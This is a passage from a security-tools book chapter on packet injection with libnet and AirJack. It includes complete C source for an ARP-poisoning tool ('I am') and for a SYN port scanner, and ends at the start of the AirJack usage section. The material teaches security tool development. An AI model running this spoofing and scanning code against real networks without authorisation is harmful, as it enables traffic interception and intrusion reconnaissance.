Network Security Tools/Modifying and Hacking Security Tools/Writing Packet-Injection Tools

From WikiContent

Jump to: navigation, search
Network Security Tools

One of the most important functions many security tools rely on is the ability to create customized network packets. This could encompass generating general types of network traffic for testing, or creating deliberately malformed traffic, such as traffic with illegal headers or invalid data values.

This chapter introduces customized packet creation using the open source libnet library, and introduces wireless packet injection using AirJack.

Contents

Introduction to libnet

Designed by Mike Schiffman,libnet is a portable, open source, C-language library for creating and injecting network packets. libnet supports packet creation at all network levels with the TCP/IP network model, as demonstrated in Figure 11-1.

Figure 11-1. TCP/IP model and example of supported protocols

TCP/IP model and example of supported protocols

As of libnet version 1.1.2.1, you can create packets for the following protocols:

802.1q FDDI ICMP IPSEC Token Ring DHCP
802.1x ARP IGMP DNS VRRP BOOTP
802.2 TCP IPv4 RIP MPLS GRE
802.2 SNAP UDP IPv6 RPC NTP BGP
802.3 CDP ISL STP OSPF Sebek
Ethernet


In addition, you can create other protocols within libnet due to its absolute control over packet data content.

Installing libnet

libnet is distributed in source code form. You can download the source code for the latest version of libnet from the project home page at http://www.packetfactory.net/projects/libnet/.

On Unix and Unix-like systems, installing libnet is straightforward:

tar zxvf libnet.tar.gz
cd libnet
./configure
make
make install (as root)

Getting Started with libnet

When using libnet it is important to remember that packets are encapsulated at a lower level by yet another type of packet, as illustrated in Figure 11-2. This is important because libnet requires that each encapsulating packet is created, in order, from the highest-level protocol to the lowest-level protocol.

Figure 11-2. Protocol encapsulation example

Protocol encapsulation example

Although the libnet library provides you with granular access to network packet creation at each level of the protocol stack, sometimes you don't need total control over the packet-creation process. libnet handles such instances in two ways: it creates packets at one of the LIBNET_RAW injection types, and it uses the libnet_autobuild_*( ) functions supplied for common protocols.

libnet supports two types of packet injection: injection at the link layer (LIBNET_LINK, etc.), and injection at the Internet layer (LIBNET_RAW4, etc.). The complete list of supported injection types is provided in Table 11-1. If you require total control over the link layer network packet, you have little choice but to use a link layer injection type. However, if the tool will be creating packets at the Internet layer (or higher), you can use the Internet layer injection type. This injection type leverages the operating system to actually send the packet, and as such, you don't have to worry about correctly framing the Ethernet packet or looking up Ethernet MAC addresses or similar low-level requirements. In fact, when using the LIBNET_RAW injection types, you do not need to create the link layer packet at all, as this task is performed by the operating system, and the packet is routed on the correct interface for the IP addresses used at the Internet layer.

Table 11-1. Supported injection types

Injection type Description
LIBNET_LINK Link layer interface. The developer needs to create packets down to the link layer.
LIBNET_LINK_ADV Link layer interface in advanced mode. This allows the developer additional control over the packet being created.
LIBNET_RAW4 Raw sockets interface for IPv4 (normal Internet IP). The developer needs to create packets down to the Internet layer.
LIBNET_RAW4_ADV Raw sockets interface for IPv4 in advanced mode. This allows the developer additional control over the packet being created.
LIBNET_RAW6 Raw sockets interface for IPv6 (next-generation IP).
LIBNET_RAW6_ADV Raw sockets interface for IPv6 in advanced mode. This allows the developer additional control over the packet being created.


Another option is to use the libnet_autobuild_*( ) functions provided for common protocols. These allow you to specify only the minimum required parameters for the packet, with the remaining pieces of data going into the packet header being determined by libnet.

Writing the I am Tool

Now we can create our first tool using libnet. To provide an introduction to libnet, we are going to demonstrate how to write a simple tool for automating a network security attack known as Address Resolution Protocol (ARP) poisoning.

This tool, called I am, sends ARP Reply packets to locally networked hosts claiming to be the host at a certain IP address. This is an integral part of an ARP poisoning attack, in that it can allow an attacker on a local network to redirect traffic through the host, and therefore intercept, modify, or observe traffic flowing on the network.

The I am tool, like most libnet tools, has functionality that can be categorized into the following areas:

  • Initializing the session
  • Building the protocol blocks
  • Sending the packet
  • Closing down gracefully

Initializing the Session

libnet enables you to build arbitrary network packets using three main concepts: contexts, protocol blocks, and protocol tags. A context is an opaque handle used to maintain the session state for building the complete packet. A context is referred to by a variable of type libnet_t. A protocol block is the libnet internal data built for each network layer you have created. You refer to these via protocol tags of type libnet_ptag_t. As when using libpcap, you should never need to know precisely what is in either the libnet context or the protocol blocks. When the packet is sent, the libnet_t context is provided, libnet creates the packet from the protocol blocks created, and the packet is sent.

Therefore, the first thing our libnet tool requires is a libnet context of type libnet_t. We create a context using the libnet_init( ) function, which has the following prototype:

libnet_t *libnet_init (int injection_type, char *device, char *err_buf)

The example program uses this function to open its session, as shown in Example 11-1.

Example 11-1. Using libnet_init( )

#include <libnet.h>

libnet_t *l;            /* libnet context */
char errbuf[LIBNET_ERRBUF_SIZE];    /* error messages */

/* open handle */
l = libnet_init (LIBNET_LINK, device, errbuf);

if (l == NULL)
  {
    fprintf (stderr, "Error opening context: %s", errbuf);
    exit (1);
  }

Because the I am tool is creating ARP packets, and because ARP is a link layer protocol, we cannot use one of the LIBNET_RAW injection types for this tool, so we use LIBNET_LINK.

To use the libnet functions we are including the libnet include file libnet.h. The LIBNET_ERRBUF_SIZE value is defined in libnet-macros.h, which is included in libnet.h. The values of the parameters passed to libnet_init( ) are outlined in Table 11-2. libnet_init( ) returns a libnet context on success, or NULL on failure with a human-readable error contained in errbuf.

Table 11-2. libnet_init( ) parameters

Parameter Description
injection_type
The injection type is one of the following, as defined in Table 11-1:LIBNET_LINKLIBNET_LINK_ADVLIBNET_RAW4LIBNET_RAW4_ADVLIBNET_RAW6LIBNET_RAW6_ADVThese define whether the packet creation is at the Internet layer for the IPv4 LIBNET_RAW4 and IPv6 LIBNET_RAW6 injection types, or at the link layer for the LIBNET_LINK injection type. Using packet injection at the link layer gives us granular control over lower levels in the protocol stack, such as for manipulating ARP or Ethernet packets. The network layer functions allow us to ignore the lower-level protocols if granularity over them is not required, such as when working with IP and UDP or TCP traffic. The functions ending in _ADV are advanced variations on each injection type, providing additional control over packets.
device
device is a string containing either a device name (such as eth0 for Linux), or the IP address for the device. This can be NULL, in which case libnet attempts to locate an appropriate interface.
err_buf
The error buffer is populated with a human-readable error message in the event an error occurs.

Building the Protocol Blocks

Once we have created a libnet context, we can start building the protocol blocks to be sent. Remember that we must create the protocol blocks in order, from the highest-level protocol to the lowest-level protocol we are required to build. Because we are using the LIBNET_LINK injection type, we are required to create the link layer packet as well as any higher-level packets. Therefore, we need to start by creating the ARP packet header, as shown in Example 11-2.

Example 11-2. Creating the ARP header

in_addr_t ipaddr;                     /* source ip address */
in_addr_t destaddr;                   /* destination ip address */
u_int8_t *macaddr;                    /* destination mac address */
struct libnet_ether_addr *hwaddr;     /* source MAC address */
libnet_ptag_t arp = 0;                /* ARP protocol tag */

/* get the hardware address for the card we are using */
hwaddr = libnet_get_hwaddr (l);

/* build the ARP header */
arp = libnet_autobuild_arp (ARPOP_REPLY,              /* operation */
                          (u_int8_t *) hwaddr,        /* source hardware addr */
                          (u_int8_t *) &ipaddr,       /* source protocol addr */
                          macaddr,                    /* target hardware addr */
                          (u_int8_t *) &destaddr,     /* target protocol addr */
                          l);                         /* libnet context */

if (arp == -1)
    {
      fprintf (stderr,
           "Unable to build ARP header: %s\n", libnet_geterror (l));
      exit (1);
    }

Example 11-2 uses the libnet_autobuild_arp() function, which has the following prototype:

libnet_ptag_t libnet_autobuild_arp (u_int16_t op, u_int8_t *sha, u_int8_t *spa,
             u_int8_t *tha, u_int8_t *tpa, libnet_t *l)

The build and autobuild functions libnet provides have similar parameters. The autobuild (libnet_autobuild_*( )) functions build a packet with the minimum required user input. libnet automatically fills in the appropriate default values. The build functions (libnet_build_*()) require that you specify the values for all the headers and options a packet can take; however, these functions also edit an existing protocol block if necessary. As we are creating a new protocol block for the ARP packet, and we do not need to specify all details for the packet, we can use the libnet_autobuild_arp() function, providing the source and destination hardware and protocol addresses for the packet. As for all the build and autobuild functions, this function returns a protocol tag value of type libnet_ptag_t. This value is set to -1 if an error occurred, in which case you can use the libnet_geterror() function to determine what went wrong via a human-readable error message.

All build and autobuild functions require the libnet context to be passed as a parameter, but the libnet_build_*( ) functions require you to pass a protocol tag to the function. This is 0 if a new protocol block is to be created, and it is a libnet_ptag_t value if an existing packet is to be modified. This is demonstrated in Example 11-3, where we supply the last parameter (the protocol tag parameter) as 0.

Once we have built the higher-level ARP packet header, we can build the Ethernet packet header, also shown in Example 11-3.

Example 11-3. Creating the Ethernet header

libet_ptag_t eth = 0;                 /* Ethernet protocol tag */

/* build the ethernet header */
eth = libnet_build_ethernet (macaddr,            /* destination address */
                           (u_int8_t *) hwaddr,  /* source address */
                           ETHERTYPE_ARP,        /* type of encasulated packet */
                           NULL,                 /* pointer to payload */
                           0,                    /* size of payload */
                           l,                    /* libnet context */
                           0);                   /* libnet protocol tag */

if (eth == -1)
  {
    fprintf (stderr,
      "Unable to build Ethernet header: %s\n", libnet_geterror (l));
    exit (1);
  }

As before, the build function returns -1 on error, and you can determine the reason for the error using libnet_geterror() . For demonstration purposes Example 11-3 uses the libnet_build_ethernet() function instead of the libnet_autobuild_ethernet() function (see Example 11-4).

Example 11-4. libnet_autobuild_ethernet( )versus libnet_build_ethernet( )

libnet_ptag_t libnet_autobuild_ethernet (u_int8_t *dst, u_int16_t type,
           libnet_t *l)

libnet_ptag_t libnet_build_ethernet (u_int8_t *dst, u_int8_t *src,u_int16_t type,
      u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)

The libnet_build_ethernet( ) function allows you to perform such tasks as spoofing the source Ethernet MAC address and editing the existing protocol block. This is an example of the granular control you can have with the libnet library.

Sending the Packet

Once we have assembled our protocol blocks, in order from highest-level protocol to lowest-level protocol, we can write this packet to the network. We do this using libnet_write( ), as shown in Example 11-5.

Example 11-5. Writing the packet

/* write the packet */
if ((libnet_write (l)) == -1)
  {
    fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
    exit (1);
  }

The libnet_write( ) function causes libnet to assemble the packet from the protocol blocks. Then this is sent on the network, either to the IP address supplied for an injection at the LIBNET_RAW level, or to the network hardware address if the injection is at the LIBNET_LINK layer.

Cleaning Up

Once we have sent our packet, we should free the memory associated with the functions the libnet library has allocated. We do this using the libnet_destroy() function, supplied with a libnet context as a parameter, as shown in here:

/* exit cleanly */
libnet_destroy (l);
return 0;

The I am Tool Source Code

Example 11-6 shows the full source code to the I am tool. It should compile on most Linux distributions as follows:

gcc -o iam iam.c -ln

If that does not work, libnet provides a tool called libnet-config that contains definitions and library references that might be required for your libnet installation. You can use this with back quotes as follows:

gcc -o iam iam.c `libnet-config -defines` \
         `libnet-config -libs` `libnet-config -cflags`

This tool was written on Gentoo Linux. It should work on most Linux installations; however, some tweaking might be necessary to get this working on other Unix and Unix-like environments.

Example 11-6. Source code to the I am tool

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <libnet.h>

/* usage */
void
usage (char *name)
{
  printf ("%s - Send arbitrary ARP replies\n", name);
  printf ("Usage: %s [-i interface] -s ip_address -t dest_ip\n", name);
  printf ("    -i    interface to send on\n");
  printf ("    -s    IP address we are claiming to be\n");
  printf ("    -t    IP address of recipient\n");
  printf ("    -m    Ethernet MAC address of recipient\n");
  exit (1);
}

int
main (int argc, char *argv[])
{
  char *device = NULL;        /* network device */
  char o;            /* for option processing */
  in_addr_t ipaddr;        /* claimed ip address */
  in_addr_t destaddr;        /* destination ip address */
  u_int8_t *macaddr;        /* destination mac address */
  libnet_t *l;            /* libnet context */
  libnet_ptag_t arp = 0, eth = 0;    /* libnet protocol blocks */
  struct libnet_ether_addr *hwaddr;    /* ethernet MAC address */
  char errbuf[LIBNET_ERRBUF_SIZE];    /* error messages */
  int r;            /* generic return value */

  if (argc < 3)
    usage (argv[0]);

  while ((o = getopt (argc, argv, "i:t:s:m:")) > 0)
    {
      switch (o)
    {
    case 'i':
      device = optarg;
      break;
    case 's':
      if ((ipaddr = inet_addr (optarg)) == -1)
        {
          fprintf (stderr, "Invalid claimed IP address\n");
          usage (argv[0]);
        }
      break;
    case 't':
      if ((destaddr = inet_addr (optarg)) == -1)
        {
          fprintf (stderr, "Invalid destination IP address\n");
          usage (argv[0]);
        }
      break;
    case 'm':
      if ((macaddr = libnet_hex_aton (optarg, &r)) == NULL)
        {
          fprintf (stderr, "Error on MAC address\n");
          usage (argv[0]);
        }
      break;
    default:
      usage (argv[0]);
      break;
    }
    }

  /* open context */
  l = libnet_init (LIBNET_LINK, device, errbuf);
  if (l == NULL)
    {
      fprintf (stderr, "Error opening context: %s", errbuf);
      exit (1);
    }

  /* get the hardware address for the card we are using */
  hwaddr = libnet_get_hwaddr (l);
  /* build the ARP header */
  arp = libnet_autobuild_arp (ARPOP_REPLY,                /* operation */
                            (u_int8_t *) hwaddr,        /* source hardware addr */
                            (u_int8_t *) &ipaddr,       /* source protocol addr */
                            macaddr,                    /* target hardware addr */
                            (u_int8_t *) &destaddr,     /* target protocol addr */
                            l);                         /* libnet context */

  if (arp == -1)
    {
      fprintf (stderr,
           "Unable to build ARP header: %s\n", libnet_geterror (l));
      exit (1);
    }

  /* build the ethernet header */
  eth = libnet_build_ethernet (macaddr,            /* destination address */
                             (u_int8_t *) hwaddr,  /* source address */
                             ETHERTYPE_ARP,        /* type of encasulated packet */
                             NULL,                 /* pointer to payload */
                             0,                    /* size of payload */
                             l,                    /* libnet context */
                             0);                   /* libnet protocol tag */

  if (eth == -1)
    {
      fprintf (stderr,
           "Unable to build Ethernet header: %s\n", libnet_geterror (l));
      exit (1);
    }

  /* write the packet */ 

  if ((libnet_write (l)) == -1)
    {
      fprintf (stderr, "Unable to send packet: %s\n", libnet_geterror (l));
      exit (1);
    }

  /* exit cleanly */
  libnet_destroy (l);
  return 0;
}

Advanced libnet Functions

In addition to the functionality we have already discussed, the libnet library also contains functionality for more specialized tasks, including the ability to extract raw packet data or packet headers, as well as the functionality to handle multiple libnet contexts for creating multiple packets.

Accessing Raw Packet Data

For some situations it is necessary to be able to access either raw packet data or the raw packet header from within libnet. This can be useful, from a debugging standpoint, for handcrafting packets and for assembling truly unusual data packets.

libnet provides functions for "culling" the packet data from a libnet context, and for culling an individual packet header from a context and protocol tag. These functions are available only if the libnet injection type was one of LIBNET_LINK_ADV, LIBNET_RAW4_ADV, or LIBNET_RAW6_ADV. These functions are as follows:

int libnet_adv_cull_packet (libnet_t *l, u_int8_t **packet, u_int32_t *packet_s);

int libnet_adv_cull_header (libnet_t *l, libnet_ptag_t ptag, u_int8_t **header,
                  u_int32_t *header_s);

Both functions return 1 on success and -1 on failure, and you can query the errors using libnet_geterror() . For each function, the packet or header in network byte order and the size of the data returned are pointed to by the pointers supplied to the functions.

As noted earlier, culling a packet can be useful for debugging purposes, but it also gives you control over the format of the data to be sent out, which can can allow you to create protocol types not yet supported by libnet or to create unusual packets. For example, I have used this functionality to create packets for the Microsoft Teredo protocol that is included in Windows XP updates and is outlined at http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/teredo.mspx. This technology uses IPv6 packets encapsulated within UDP over IPv4 packets to bypass Network Address Translation (NAT) controls implemented by common home cable/DSL gateways. Using packet culling, it is possible to create an appropriate IPv6 packet, and then use this packet data as the payload for an appropriate UDP packet for the transport layer.

The other main use for packet culling is to manipulate the packet assembled by libnet. Therefore, libnet supplies the functionality to write a culled packet to the wire using the libnet_adv_write_link() function as follows:

int libnet_adv_write_link (libnet_t *l, u_int8_t *packet, u_int32_t packet_s)

This function returns the number of bytes written, or -1 on error. libnet_geterror( ) can tell you what the error was. In addition to writing the packet, you should free the memory associated with the culled packet with libnet_adv_free_packet( ) as follows:

void libnet_adv_free_packet (libnet_t *l, u_int8_t *packet)

Context Queues

If you want to send multiple packets, possibly through different interfaces, you have a couple of options. You can handle each libnet context and send the packet individually, or you can use context queues to create a series of packets, and send them out in an organized fashion.

Context queues are a very useful mechanism for handling multiple-context situations. It is easy to create a context queue: just push a context onto the queue using libnet_cq_add( ) as follows:

int libnet_cq_add (libnet_t *l, char *label)

This function returns 1 on success and -1 on failure, with libnet_geterror() telling you why. Each context and identifier label must be unique, as they are identifiers for returning libnet contexts from the queue using libnet_cq_find_by_label() as follows:

libnet_t* libnet_cq_find_by_label (char *label)

To look up labels for contexts on the queue, use libnet_cq_getlabel( ) as follows:

int8_t* libnet_cq_getlabel (libnet_t *l)

Contexts can be iterated using libnet_cq_head( ) to return the first item in the queue and prevent additional items from being added to the queue; libnet_cq_next() to return the next item in the queue; libnet_cq_last() to see if the context is the last in the queue; or libnet_cq_size() to track the queue size. Do this manually as follows:

libnet_t* l;
for (l = libnet_cq_head( ); libnet_cq_last( ); l = libnet_cq_next( ))
{
   ...
}

Or you can do this using the provided for_each_context_in_cq() macro.

You can remove contexts from the queue either by the libnet context:

libnet_t* libnet_cq_remove (libnet_t *l)

or by using the label provided when adding the context to the queue:

libnet_t* libnet_cq_remove_by_label (char *label)

In both cases, the function returns NULL on failure, or a pointer to the libnet context that was removed.

Finally, you can use the libnet_cq_destroy( ) function to destroy the context queue, and you can use libnet_destroy() to free all resources used by contexts on the queue.

Combining libnet and libpcap

The ability to create arbitrary packets can be very powerful in a tool. When this is combined with the ability to capture packets from the network you can create powerful tools to manipulate traffic on the network. In this section we will create such a tool: a simple half-open port scanner called SYNplescan.

Overview of SYNplescan

Half-open (or SYN scanning) works by taking advantage of the three-way handshaking process the TCP protocol uses to establish a connection. The three-way handshaking process, as shown in Figure 11-3, involves the system initiating the connection to send a TCP packet with the SYN flag set. If the port the system is attempting to connect to is accepting connections, the destination system responds with a TCP packet with the SYN and ACK flags set. To complete the connection, the initiating system sends a TCP packet back with the ACK flag set.

Figure 11-3. TCP three-way handshake

TCP three-way handshake

This is in contrast to the situation shown in Figure 11-4, in which the initiating system is attempting to connect to a TCP port that is closed. In this case the destination host responds with a TCP packet with the SYN and RST flags set.

Figure 11-4. Attempted TCP connection to closed port

Attempted TCP connection to closed port

Whether connecting to an open port or a closed port, only two packets are required to determine whether the port is open or closed. In addition, many operating systems do not log incoming connections if the full three-way handshaking process has not completed. Half-open scanning relies on the ability to create a TCP packet with the SYN packet set, and on capturing return traffic from the destination system to determine if the SYN and ACK flags have been set, signaling that the port is open or, if the SYN and RST flags are set, indicating that the port is closed.

Creating the SYN Packet

Because SYNplescan works at the TCP layer, we can open the libnet context for raw sockets mode as follows:

l = libnet_init (LIBNET_RAW4, device, libnet_errbuf);

To create the outgoing SYN packet, we are going to start with the libnet_build_tcp() function, as this is the highest-level protocol in this example. This is shown in Example 11-7.

Example 11-7. Creating the TCP header

libnet_ptag_t tcp = 0;    /* libnet protocol block */

tcp = libnet_build_tcp (libnet_get_prand (LIBNET_PRu16),    /* src port */
                  ports[i],    /* destination port */
                  libnet_get_prand (LIBNET_PRu16),    /* sequence number */
                  0,    /* acknowledgement */
                  TH_SYN,    /* control flags */
                  7,    /* window */
                  0,    /* checksum - 0 = autofill */
                  0,    /* urgent */
                  LIBNET_TCP_H,    /* header length */
                  NULL,    /* payload */
                  0,    /* payload length */
                  l,    /* libnet context */
                  tcp);    /* protocol tag */

if (tcp == -1)
 {
   fprintf (stderr,
       "Unable to build TCP header: %s\n", libnet_geterror (l));
   exit (1);
 }

libnet_build_tcp( ) specifies the field values for the TCP header. In this case we are specifying that the TCP packet has the SYN flag set (using the TH_SYN value; this is a constant supplied in the tcp.h include file), that the TCP packet is empty (there is no pointer to a payload), and that the payload length is 0.

Also note that the value 0 has been provided as the checksum for the TCP header. By default, if 0 is provided as a value for a packet header's checksum, libnet calculates the correct value and inserts it into the header for you. You can modify this behavior using libnet_toggle_checksum() if you want to deliberately create invalid packets.

For this packet, we are using random source ports and sequence numbers, which we've obtained using the libnet_get_prand( ) function. You can use this function to generate pseudorandom numbers from 2 bits to 32 bits for build functions. Also, we are passing the libnet_ptag_t value tcp to this function because we are going to be sending several packets with differing destination port values to test a series of ports. Therefore, for efficiency, we modify the existing protocol block rather than create a new protocol block each time.

Once the TCP header is created, we can build the IP packet, as shown in Example 11-8. Because we are using the LIBNET_RAW4 injection type, this is the last packet header we need to create, as the operating system is used to send this packet out to its destination.

Example 11-8. Creating the IP header

libnet_ptag_t ipv4 = 0;    /* libnet protocol block */

ipv4 = libnet_build_ipv4 (LIBNET_TCP_H + LIBNET_IPV4_H,    /* length */
                0,    /* TOS */
                libnet_get_prand (LIBNET_PRu16),    /* IP ID */
                0,    /* frag offset */
                127,    /* TTL */
                IPPROTO_TCP,    /* upper layer protocol */
                0,    /* checksum, 0=autofill */
                myipaddr,    /* src IP */
                ipaddr,    /* dest IP */
                NULL,    /* payload */
                0,    /* payload len */
                l,    /* libnet context */
                ipv4);    /* protocol tag */

if (ipv4 == -1)
  {
    fprintf (stderr,
       "Unable to build IPv4 header: %s\n", libnet_geterror (l));
    exit (1);
  }

We used the libnet_build_ipv4() function to build the IP header for our SYN packet. The checksum value for this packet is also specified as 0; however; it is worth noting that the operating system calculates this value regardless of what we specify here if we are using a LIBNET_RAW4 injection type (which we are).

Capturing the Responses

To capture the responding packets, SYNplescan uses the libpcap library. libpcap is covered in detail in Chapter 10.

To capture packets with the SYN and ACK flags set, as well as packets with the SYN and RST flags set, SYNplescan uses the following tcpdump -style filter to specify packets to capture from the wire:

char *filter = "(tcp[13] == 0x14) || (tcp[13] == 0x12)";

The tcp[13] value refers to the TCP flags value within the TCP header. In this case we are comparing these to the hardcoded values 0x14 (SYN and RST are set) and 0x12 (SYN and ACK are set). Then these values are used to provide output to the user on ports that are open or closed, as follows:

  if (tcp->th_flags == 0x14)
    {
      printf ("Port %d appears to be closed\n", ntohs (tcp->th_sport));
      answer = 0;
    }
  else
    {
      if (tcp->th_flags == 0x12)
      {
      printf ("Port %d appears to be open\n", ntohs (tcp->th_sport));
      answer = 0;
      }
    }

In addition to these cases, the SYNplescan tool also handles situations in which no response is obtained from the destination system. In these cases the initial SYN packets or the response packets might be filtered by a firewall. SYNplescan therefore assumes any port that doesn't respond in a timeout period is filtered.

The SYNplescan Tool Source Code

Example 11-9 provides the full source code to the SYNplescan tool. This should compile on most Linux distributions as follows:

gcc -o synplescan synplescan.c -lnet -lpcap

If that does not work, libnet provides a tool called libnet-config that contains definitions and library references that might be required for your libnet installation. You can use this with back quotes as follows:

gcc -o synplescan synplescan.c `libnet-config -defines` \
     `libnet-config -libs` `libnet-config -cflags` -lpcap

This tool was written on Gentoo Linux. It should work on most Linux installations; however, some tweaking might be necessary to get this working on other Unix and Unix-like environments.

Example 11-9. Source code to the SYNplescan tool

#define _BSD_SOURCE 1
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <libnet.h>
#include <pcap.h>

int answer = 0;            /* flag for scan timeout */

/* usage */
void
usage (char *name)
{
  printf ("%s - Simple SYN scan\n", name);
  printf ("Usage: %s -i ip_address\n", name);
  printf ("    -i    IP address to scan\n");
  exit (1);
}

void
packet_handler (u_char * user, const struct pcap_pkthdr *header,
        const u_char * packet)
{
  struct tcphdr *tcp =
    (struct tcphdr *) (packet + LIBNET_IPV4_H + LIBNET_ETH_H);

  if (tcp->th_flags == 0x14)
    {
      printf ("Port %d appears to be closed\n", ntohs (tcp->th_sport));
      answer = 0;
    }
  else
    {
      if (tcp->th_flags == 0x12)
      {
      printf ("Port %d appears to be open\n", ntohs (tcp->th_sport));
      answer = 0;
      }
    }
}

int
main (int argc, char *argv[])
{
  char *device = NULL;        /* device for sniffing/sending */
  char o;            /* for option processing */
  in_addr_t ipaddr;        /* ip address to scan */
  u_int32_t myipaddr;        /* ip address of this host */
  libnet_t *l;            /* libnet context */
  libnet_ptag_t tcp = 0, ipv4 = 0;    /* libnet protocol blocks */
  char libnet_errbuf[LIBNET_ERRBUF_SIZE];    /* libnet error messages */
  char libpcap_errbuf[PCAP_ERRBUF_SIZE];    /* pcap error messages */
  pcap_t *handle;        /* libpcap handle */
  bpf_u_int32 netp, maskp;    /* netmask and ip */
  char *filter = "(tcp[13] == 0x14) || (tcp[13] == 0x12)";
  /* if the SYN and RST or ACK flags are set */
  struct bpf_program fp;    /* compiled filter */
  int ports[] = { 21, 22, 23, 25, 53, 79, 80, 110, 139, 443, 445, 0 };    
            /* ports to scan */
  int i;
  time_t tv;

  if (argc != 3)
    usage (argv[0]);

  /* open context */
  l = libnet_init (LIBNET_RAW4, device, libnet_errbuf);
  if (l == NULL)
    {
      fprintf (stderr, "Error opening context: %s", libnet_errbuf);
      exit (1);
    }

  while ((o = getopt (argc, argv, "i:")) > 0)
    {
      switch (o)
    {
    case 'i':
      if ((ipaddr = libnet_name2addr4 (l, optarg, LIBNET_RESOLVE)) == -1)
        {
          fprintf (stderr, "Invalid address: %s\n", libnet_geterror (l));
          usage (argv[0]);
        }
      break;
    default:
      usage (argv[0]);
      break;
    }
    }

  /* get the ip address of the device */
  if ((myipaddr = libnet_get_ipaddr4 (l)) == -1)
    {
      fprintf (stderr, "Error getting IP: %s", libnet_geterror (l));
      exit (1);
    }

  printf ("IP: %s\n", libnet_addr2name4 (ipaddr, LIBNET_DONT_RESOLVE));

/* get the device we are using for libpcap */
  if ((device = libnet_getdevice (l)) == NULL)
    {
      fprintf (stderr, "Device is NULL. Packet capture may be broken\n");
    }

  /* open the device with pcap */
  if ((handle =
       pcap_open_live (device, 1500, 0, 2000, libpcap_errbuf)) == NULL)
    {
      fprintf (stderr, "Error opening pcap: %s\n", libpcap_errbuf);
      exit (1);
    }

  if ((pcap_setnonblock (handle, 1, libnet_errbuf)) == -1)
    {
      fprintf (stderr, "Error setting nonblocking: %s\n", libpcap_errbuf);
      exit (1);
    }

  /* set the capture filter */
  if (pcap_lookupnet (device, &netp, &maskp, libpcap_errbuf) == -1)
    {
      fprintf (stderr, "Net lookup error: %s\n", libpcap_errbuf);
      exit (1);
    }

  if (pcap_compile (handle, &fp, filter, 0, maskp) == -1)
    {
      fprintf (stderr, "BPF error: %s\n", pcap_geterr (handle));
      exit (1);
    }

  if (pcap_setfilter (handle, &fp) == -1)
    {
      fprintf (stderr, "Error setting BPF: %s\n", pcap_geterr (handle));
      exit (1);
    }

  pcap_freecode (&fp);

  /* seed the pseudo random number generator */
  libnet_seed_prand (l);

  for (i = 0; ports[i] != 0; i++)
    {
      /* build the TCP header */
      tcp = libnet_build_tcp (libnet_get_prand (LIBNET_PRu16),    /* src port */
                  ports[i],    /* destination port */
                  libnet_get_prand (LIBNET_PRu16),    /* sequence number */
                  0,    /* acknowledgement */
                  TH_SYN,    /* control flags */
                  7,    /* window */
                  0,    /* checksum - 0 = autofill */
                  0,    /* urgent */
                  LIBNET_TCP_H,    /* header length */
                  NULL,    /* payload */
                  0,    /* payload length */
                  l,    /* libnet context */
                  tcp);    /* protocol tag */

    if (tcp == -1)
    {
      fprintf (stderr,
           "Unable to build TCP header: %s\n", libnet_geterror (l));
      exit (1);
    }

      /* build the IP header */
      ipv4 = libnet_build_ipv4 (LIBNET_TCP_H + LIBNET_IPV4_H,    /* length */
                0,    /* TOS */
                libnet_get_prand (LIBNET_PRu16),    /* IP ID */
                0,    /* frag offset */
                127,    /* TTL */
                IPPROTO_TCP,    /* upper layer protocol */
                0,    /* checksum, 0=autofill */
                myipaddr,    /* src IP */
                ipaddr,    /* dest IP */
                NULL,    /* payload */
                0,    /* payload len */
                l,    /* libnet context */
                ipv4);    /* protocol tag */

    if (ipv4 == -1)
    {
      fprintf (stderr,
           "Unable to build IPv4 header: %s\n", libnet_geterror (l));
      exit (1);
    }

      /* write the packet */
      if ((libnet_write (l)) == -1)
    {
      fprintf (stderr, "Unable to send packet: %s\n",
           libnet_geterror (l));
      exit (1);
    }

      /* set variables for flag/counter */
      answer = 1;
      tv = time (NULL);

      /* capture the reply */
      while (answer)
    {
      pcap_dispatch (handle, -1, packet_handler, NULL);

      if ((time (NULL) - tv) > 2)
        {
          answer = 0;    /* timed out */
          printf ("Port %d appears to be filtered\n", ports[i]);
        }
    }
    }
  /* exit cleanly */
  libnet_destroy (l);
  return 0;
}

Introducing AirJack

AirJack is a Linux 2.4 kernel device driver for wireless packet injection, and it's available at http://sourceforge.net/projects/airjack/. AirJack comes with several tools and example programs for demonstrating several wireless security issues. Because AirJack is a device driver, it supports most of the wide variety of 802.11b PCMCIA cards based on the Intersil Prism 2 chipset.

Installing AirJack

AirJack can be challenging to install if you're not familiar with the configuration of the PCMCIA subsystem in Linux. The installation process consists of the following steps:

  1. Obtain and unpack the latest version of AirJack from the home page.
  2. Obtain and unpack the source for the version of the pcmcia-cs package used by your Linux distribution. If this is not installed, obtain the latest version from http://pcmcia-cs.sourceforge.net/.
  3. Configure the pcmcia-cs package to match your existing configuration using make config.
  4. Edit the AirJack makefile file to point to the pcmcia-cs directory just configured.
  5. Run make in the directory as your currently logged-in user.
  6. Run make install as the root (administrative) user.

This installs a device driver called airjack_cs.o into the modules directory for your Linux system. This driver isn't loaded by default for supported cards because the PCMCIA subsystem has to be configured to load the driver for your card. You can do this by creating an airjack.conf file in your PCMCIA configuration directory (commonly /etc/pcmcia) containing the following:

device "airjack_cs"
    class "network" module "airjack_cs"

This registers the airjack_cs.o module as a valid PCMCIA device driver. To configure PCMCIA to load this driver, however, PCMCIA needs to be told to load the AirJack driver rather than other installed Prism 2 drivers.

To configure PCMCIA to load a driver for a specific card, we need to know the card identification, which we can determine by running the cardctl ident command as follows:

$ cardctl ident
Socket 0:
  product info: "SMC", "SMC2532W-B EliteConnect Wireless Adapter", "", ""
  manfid: 0xd601, 0x0005
  function: 6 (network)

This gives the manufacturer identification numbers and description of the card. You can use either the manfid or product info fields to match the card to load the AirJack driver. You should add an entry to the airjack.conf file, as shown in Example 11-10.

Example 11-10. Example airjack.conf file

#example airjack pcmcia config file

device "airjack_cs"
  class "network" module "airjack_cs"

card "Intersil PRISM2 11 Mbps Wireless Adapter"
  version "D", "Link DWL-650 11Mbps WLAN Card"
  manfid 0x0156, 0x0002
  bind "airjack_cs"

card "SMC 2532W-B"
  #version "SMC", "SMC2532W-B EliteConnect Wireless Adapter"
  manfid 0xd601, 0x0005
  bind "airjack_cs"

You should comment out matching values in other configuration files in the PCMCIA configuration directory.

Using AirJack

